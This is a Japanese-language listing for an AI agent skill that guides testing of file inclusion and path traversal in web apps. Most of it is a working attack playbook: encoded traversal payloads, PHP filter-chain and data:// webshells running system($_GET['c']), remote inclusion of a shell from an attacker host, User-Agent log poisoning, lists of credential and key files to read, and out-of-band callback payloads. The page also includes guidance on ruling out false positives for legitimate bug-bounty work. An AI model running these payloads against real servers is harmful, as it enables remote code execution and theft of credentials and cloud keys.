hunt-lfi について
hunt-lfiは、ローカル/リモートファイルインクルージョンやパストラバーサルを調査・検証するセキュリティテスト用スキルです。間接的な兆候だけで脆弱性と判断せず、確認基準や調査手順、影響の評価方法を示します。
主な機能
- 01LFIとパストラバーサルの調査手順
- 02ブラインド脆弱性の確認方法
- 03PHPラッパーとフィルターチェーンの分析
- 04RFIとポイズニングの手法
- 05誤検知の検証ガイド
活用シーン
- 01Webアプリのファイル指定パラメーターの調査
- 02コールバックや応答差分によるブラインド読み取りの確認
- 03PHPのファイル読み取りからコード実行への昇格可能性の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-lfiインストール後、Claude Code で/hunt-lfiを入力して読み込まれたか確認します。
詳細
HUNT-LFI — ローカル/リモートファイルインクルージョンとパストラバーサル
最重要ターゲット
コード実行に至る LFI はクリティカルです。ファイル読み取りのみの場合、秘密情報(.env、wp-config.php、秘密鍵、クラウド認証情報)が漏えいするなら高、機密性のないファイルしか読み取れないなら中です。
価値が最も高い攻撃チェーン(2026 年時点でのおおよその信頼性順):
- PHP フィルターチェーン → RCE — 現代における標準的な手法です。
php://filterによる単純な ファイル読み取り のプリミティブは、iconv変換を連鎖させて任意の PHP ペイロードをメモリ上で生成することで、アップロードエンドポイントも書き込み可能なファイルもなしに RCE へと発展させられます(Synacktiv、2022 年)。詳しくは以下の専用セクションを参照してください。これは最も影響が大きく、見落とされやすい手法です。 - ログポイズニング → RCE — Apache/Nginx のログに PHP を注入し(User-Agent/URL パス)、その後ログをインクルードします。
open_basedirやログの読み取り権限がないことでブロックされるケースが増えているため、まずログが読み取り可能か確認してください。 - PHP ラッパー → ソースコードの開示 —
php://filter/convert.base64-encode/resource=index.phpでソースコードが漏えいします。ソースを読んで、ほかの LFI のシンク、秘密情報、インクルードのベースパスを見つけてください。 - RFI → RCE —
allow_url_include=Onの場合、?file=http://OOB/shell.txtによってリモートコードが取得され、実行されます。現代の設定ではまれですが、有効であれば容易にクリティカルな脆弱性となります。 - phar:// のデシリアライズ — 細工した PHAR と、メタデータに対する任意の unserialize シンクを組み合わせると、オブジェクトインジェクションによる RCE が可能です。
- フィルターによってラッパーがブロックされる場合の zip:///data:// チェーンやセッション/アップロードポイズニング。
OOB/ブラインド LFI の確認ゲート(最初に読む)
LFI はしばしばブラインドです。インクルードされたコンテンツが解析/実行されても応答に表示されない場合や、ページがファイルを見えないテンプレートに取り込む場合があります。間接的なシグナルだけで LFI と断定しないでください。
確認にならないもの
../../etc/passwdと通常の値でステータスコードやエラー文字列が異なること。アプリが../を文字列照合して、ファイルシステムに一度もアクセスせず、定型の 403/500 を返している可能性があります。- エラーメッセージ内に入力がそのまま返されること(例:
failed to open '/var/www/../../etc/passwd')。これはパスのフォーマッターを示すだけで、ファイルが読み取られた証拠ではありません。実際に読み取られた場合は、入力したパスではなくファイルの内容が表示されます。 - ページが「異なって見える」こと。入力の反射や WAF のブロックページによる差分は、実際の読み取りとは無関係です。
確認になるもの
- 直接読み取り: ファイルの実際の内容が表示される(実在する
root:x:0:0:行、またはフィルター出力を Base64 デコードした後の実際の PHP ソースコード)。 - OOB 持ち出しによるブラインド読み取り: ペイロードが Burp Collaborator のサブドメインに DNS/HTTP コールバックを実行する
php://filterまたは XXE 形式のチェーンを使用するか、外部リクエストをトリガーするexpect:///ラッパーを使用します。シンクごとに固有の Collaborator ヒット(DNS + HTTP とサーバーの送信元 IP)があれば、インクルードが実行された証拠になります。 - 差分/タイミングによるブラインド読み取り: 存在することが確実で大きなファイル(
/etc/passwd)と、存在しないファイル(/etc/passwd_nope_<rand>)をインクルードします。応答の長さまたは遅延に、安定して再現される差があれば、実際にファイルシステムへアクセスしています。偶然の一致を排除するため、3 つ目の存在が確認できているパスでも検証してください。
デフォルトのワークフロー
- 固有のマーカーとなるターゲットを選びます。内容を正確に指紋照合できるファイル(
/etc/passwd→^root:を検索)を優先してください。ブラインドの場合はphp://filterによる Base64 読み取りを使用してデコードします。部分的または切り詰められた Base64 でも、判別可能なソースコードとしてデコードされます。 - シンクごとにサブタグ付きの Collaborator ペイロード(
lfi-page.<collab>、lfi-tpl.<collab>)を生成し、どのパラメーターが反応したかをコールバックで識別できるようにします。 - 送信して 30~120 秒待ち、OOB を確認します。
- 内容の一致、Collaborator コールバック、または安定して 3 回確認されたタイミング/長さの差が得られた後に限り、LFI と判定します。パスがそのまま返されるケースや、ステータスコードが単独で変化しただけのケースは判定を撤回してください。
攻撃対象領域のシグナル
URL/本文パラメーター
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
技術スタックの兆候
| 兆候 | 攻撃ベクトル |
|---|---|
PHP(X-Powered-By、.php、PHPSESSID) | php:// filter-chain RCE、phar://、zip://、data:// |
| Apache/Nginx のログを読み取り可能 | ログポイズニング → RCE(まず読み取り可能か確認) |
Apache 2.4.49 / 2.4.50(Server: バナー) | CVE-2021-41773 / CVE-2021-42013 によるトラバーサル → RCE |
Windows 上の PHP-CGI(XAMPP、php-cgi.exe) | CVE-2024-4577 の引数インジェクション → RCE |
Java サーブレット(/WEB-INF/) | WEB-INF/web.xml、classes/、application.properties |
| Python Flask/Django | /proc/self/environ、settings.py、SECRET_KEY |
Node.js のファイル配信 / res.sendFile、express.static | パストラバーサルによる読み取り、require() のトラバーサル |
| Windows IIS / .NET | ..\..\web.config、C:\Windows\win.ini、machineKey |
ステップごとの方法
フェーズ 1 — 候補を特定する
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
フェーズ 2 — パストラバーサル(読み取り)
?file=../../../etc/passwd
?file=....//....//....//etc/passwd # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too
?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers)
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config
フェーズ 3 — PHP ラッパー(ソースコードの開示)
?file=php://filter/convert.base64-encode/resource=index.php # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.
フェーズ 4 — PHP フィルターチェーン → RCE(アップロード不要、書き込み可能なファイル不要)
最新の代表的な手法です(Synacktiv、2022 年)。ファイルを読み取ることができる php:// 対応の LFI があれば、攻撃者が選んだ PHP を実行することもできます。php://filter 内で連結した iconv の文字セット変換により、リソースの先頭に制御されたバイト列が追加され、完全な <?php ... ?> ペイロードが生成されます。その後、include() が実行します。アップロードエンドポイント、ログへのアクセス、書き込み可能なパスは不要です。
# Generate the chain (public command-line, no CVE — it abuses documented iconv behaviour):
# git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id
注意点:
- include のシンクが
php://filterスキームを受け付ける必要があります(パラメーターに対してinclude/require/file_get_contentsを呼び出す LFI シンクの多くは受け付けます)。 - ペイロードは長くなります(10~50KB)。パラメーターの長さに上限がある場合や、サイズによって WAF にブロックされる場合は、POST 本文に移すか、最小限のペイロード(
<?=省略記法?>)を使用してください。 - ブラインドターゲットの場合、実行を OOB で確認するため、チェーンのペイロードを Collaborator コールバック(
<?php file_get_contents("http://x.<collab>/".id);?>)に設定してください。 - ログポイズニングが失敗する場合(ログを読み取れない、
open_basedir)でも有効です。php:// フィルターによる読み取りができる場合は、必ず試してください。
フェーズ 5 — コード実行ラッパー(設定の前提条件)
# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id # <?php system($_GET['c']);?>
# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
# POST ?file=php://input body: <?php system($_GET['c']); ?>
# (Same prerequisite as data://. Do NOT assume this works on default PHP config.)
# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id
フェーズ 6 — リモートファイルインクルージョン(RFI)
RFI とは、include の対象がリモート URLであることです。前提条件:allow_url_include=On(および allow_url_fopen=On)。最新の PHP ではデフォルトで Off ですが、レガシー環境や設定ミスのあるホストでは今も見られます。
# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell
フェーズ 7 — ログポイズニング → RCE
# Step 1: inject PHP into a log the include can read
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
# /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ
フェーズ 8 — セッション/アップロードポイズニング
# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt
フェーズ 9 — 自動化(その後、すべて手動で確認する)
ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
"https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.
主な CVE/公開されている手法(根拠)
上記のパターンに関する、検証済みで適切に帰属が示された参考情報:
- PHP フィルターチェーンから RCE — Synacktiv の調査(2022 年)、
php_filter_chain_generator。CVE ではなく、文書化されたiconvの動作を悪用する手法です。単なるファイル読み取りが Critical に格上げされる理由です。 - CVE-2021-41773 — Apache HTTP Server 2.4.49 のパストラバーサル(正規化されたパス内の
%2e)→ ファイル読み取り、およびmod_cgiが有効な場合の RCE。 - CVE-2021-42013 — 上記に対する Apache HTTP Server 2.4.50 の不完全な修正(二重エンコードされた
%%32%65)→ トラバーサル/RCE。 - CVE-2024-4577 — Windows 上の PHP-CGI の引数インジェクション(Best-Fit エンコーディング)。XAMPP 系のスタックで到達可能で、ファイル配信から RCE へつながります。
根拠に関する注意:このスキルは、開示された LFI/パストラバーサルのレポート 31 件をもとに構築されています。レポートに特定の HackerOne レポートを引用する場合は、使用したレポートの正確な URL/ID を記載してください。レポート ID を記憶に頼って言い換えてはいけません。誤った ID を記載するくらいなら、記載しないほうがましです。
読み取るべき機密ファイル
# Linux
/etc/passwd /etc/hosts /etc/shadow (rarely readable)
/proc/self/environ /proc/self/cmdline /proc/self/status
/var/www/html/.env /var/www/html/config.php /var/www/html/wp-config.php
/home/*/.ssh/id_rsa ~/.ssh/id_rsa /root/.bash_history
/var/www/html/app/config/parameters.yml # Symfony
.git/config .git/HEAD composer.json package.json
# App / cloud secrets
/proc/self/environ ~/.aws/credentials ~/.docker/config.json /run/secrets/*
# Windows / .NET
C:\Windows\win.ini C:\inetpub\wwwroot\web.config ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
バイパステーブル
| フィルター | バイパス |
|---|---|
../を1回だけ除去する | ....//または..../\(除去後に../が再形成されます) |
| URL デコードを1回だけ行う | %252f(/を二重エンコード)、ドットには%252e |
1回だけデコードし、..をブロックする | ドットをエンコード:%2e%2e%2f/オーバーロング形式の%c0%ae(レガシー) |
入力に.phpを追加する | ?または#で切り詰める、ヌルバイト%00(PHP < 5.3.4) |
php://スキームをブロックする | PHP://、pHp://、またはdata:///expect://を試す |
| 固定のベースディレクトリを先頭に付加する | 抜け出すために十分な数の../を使う。または、ベースが付加されない場合は絶対パスを使う |
/etc/passwdという文字列をブロックする | パスの切り詰め、/etc/./passwd、/etc//passwd |
| 長いフィルターチェーンに対するWAF | チェーンをPOST本文に移す/ペイロードを最小化する |
| Windows | ..\..\..\windows\win.ini、..%5c..%5c |
チェーンテーブル
- LFI プリミティブ | チェーン先 | 影響 |
|---------------|----------|--------|
|
php://filterによる読み取り | フィルターチェーンによるRCE(フェーズ4) | アップロードなしでRCE — 重大 | | ファイル読み取り |.env/config.php/wp-config.php| DB 認証情報、API キー → バックエンドの乗っ取り | | ファイル読み取り |/proc/self/environ、~/.aws/credentials| 環境変数のシークレット、クラウドキー → SSRF/IAM へのピボット | | リモートURLインクルード | RFI(allow_url_include) | 直接的なRCE — 重大 | | ファイル読み取り+アップロード | phar:///ログ/セッションポイズニング | RCE — 重大 | | ソースの開示 | アプリ全体のソースコード | ハードコードされたシークレット、新たなシンク、machineKey |
検証
LFI ハンティングの準備ができていることを確認するため、このセルフテストを実行してください:
-
スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します:
grep -q "name: hunt-lfi" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリーの確認 — スキルにカテゴリーがあることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3つのテストすべてで、スキルが適切に構成され、使用可能な状態であることを確認します。
落とし穴
- ファイル内容を伴わないLFI — パスワードハッシュのない最新システムでの
/etc/passwdは、情報提供にとどまります。shadowファイル、SSHキー、またはアプリケーション設定が必要です。 - LFIを伴わないパストラバーサル —
../../../etc/passwdがファイル内容を返さずに200を返す場合、これはLFIではなくパストラバーサルです。異なる攻撃クラスです。 - LFIからRCEへのチェーンが未完成 —
/proc/self/environへのLFIやログポイズニングには、特定の条件が必要です。チェーン全体を記録してください。 - PHPラッパーチェーン —
php://filterによるBase64エンコードは多くのPHPバージョンで動作します。LFIが悪用不可能だと決めつける前にテストしてください。 - ヌルバイトインジェクション —
%00による切り詰めはPHP 5.3.4以降で修正されています。最新のPHPには適用されません。
関連スキル
hunt-rce— LFIは、フィルターチェーン、ログポイズニング、phar://のデシリアライズを通じて、PHP/JavaスタックでRCEを実現する最も直接的な経路です。チェーンプリミティブ:php://filterのiconvチェーン(Synacktiv、2022)は、アップロードも書き込み可能なファイルも使わず、include()呼び出しと長いフィルターURLだけで、ファイル読み取りプリミティブを任意のPHP実行に変換します →?cmd=idでコマンド出力が得られます。hunt-source-leak— LFIによるファイル読み取りは、ソースコードの開示と重なります。チェーンプリミティブ:LFIで.env、wp-config.php、config.ymlを読み取る → DB 認証情報、API キー、シークレットを抽出する → それらをcloud-iam-deepに渡して権限を昇格させます。hunt-file-upload— ファイルアップロードとLFIの組み合わせは、古典的なRCEチェーンです。チェーンプリミティブ:GIF89a;<?php system($_GET['c']);?>のマジックバイトを含む画像をアップロードする → LFIで/uploads/exploit.jpgをインクルードする → PHPがそのファイルをスクリプトとして扱うようになり、RCEに至ります。hunt-ssrf— ラッパーチェーンを介したLFIは、内部ネットワークに到達することがあります。チェーンプリミティブ:SSRFを引き起こすファイルをインクルードするか、RFI(allow_url_include=On)を使ってリモートURLを取得することで、LFIプリミティブを通じてSSRFを実現します。hunt-source-leak— LFIでソースファイルを読み取ると、ほかの脆弱性が明らかになることがあります。チェーンプリミティブ:LFIでindex.phpを読み取る → インクルードパスと追加のLFIパラメーターを発見する → 攻撃対象領域を広げます。security-arsenal— 手動ペイロードをテストする前に、LFIラッパーの一覧(php://filter、php://input、data://、phar://、zip://、expect://)を確認してください。フィルターチェーンによるRCEジェネレーターは、arsenalのリファレンスにあります。
検証の徹底
直接読み取りの証明(誤検知ではないこと):
- エコーされたパスではなく、実際の内容を示してください。
/etc/passwdには、root:x:0:0:root:/root:という文字列を含む行が実際に存在する必要があります。応答を既知の正常なパラメーター値と比較し、差分が WAF/エラーページではなくファイルの本文であることを確認してください。 - ソースを読み取る場合、base64 をデコードすると有効な PHP になる必要があります。デコード結果がでたらめ、または空であれば、実際に読み取れていません。
- リフレクションでないことを確認してください。マーカー文字列が単に入力として送り返されているだけではないことを確かめます。
/etc/passwdと/etc/passwd_<rand>(存在しないファイル)をリクエストし、実在するファイルだけが内容を返すことを確認してください。
ブラインド/OOB の証明:
- リフレクションがない場合は、固有の Burp Collaborator サブドメインにコールバックする php://filter-chain または RFI ペイロードを使用してください。インクルードが実行されたと主張するには、サーバーのソース IP からの DNS および HTTP のヒットが必要です。シンクごとにサブタグを付けてください。
- タイミング/長さによるブラインド検証では、安定した差分を 3 回確認してください(サイズが既知の大きなファイル、存在しないファイル、2 つ目の既知のファイルを比較)。1 回だけの差分はノイズです。主張を撤回してください。
部分読み取り/切り詰められた読み取り:
- テンプレート処理によって HTML エスケープされたり、ファイルが切り詰められたりする場合があります。
php://filter/convert.base64-encodeを使い、読み取りが途中で切れても判別可能なバイト列としてデコードできるようにしてください。あると推測した内容ではなく、実際に復元できた内容を正確に報告してください。
RCE の証明: id/whoami/hostname の結果が反映されるなど、自分で制御できるコマンド出力を示してください。または、実行されたペイロードの内部からの OOB コールバック(curl http://<collab>/)を示してください。「ペイロードが受け付けられた」だけでは RCE の証明になりません。
深刻度:
- 機密情報を含まないファイル読み取り:Medium
- DB 認証情報/API キー/秘密鍵/クラウド認証情報が漏えいするファイル読み取り:High
- filter-chain/RFI/ログ/セッション/phar/CVE を介した RCE:Critical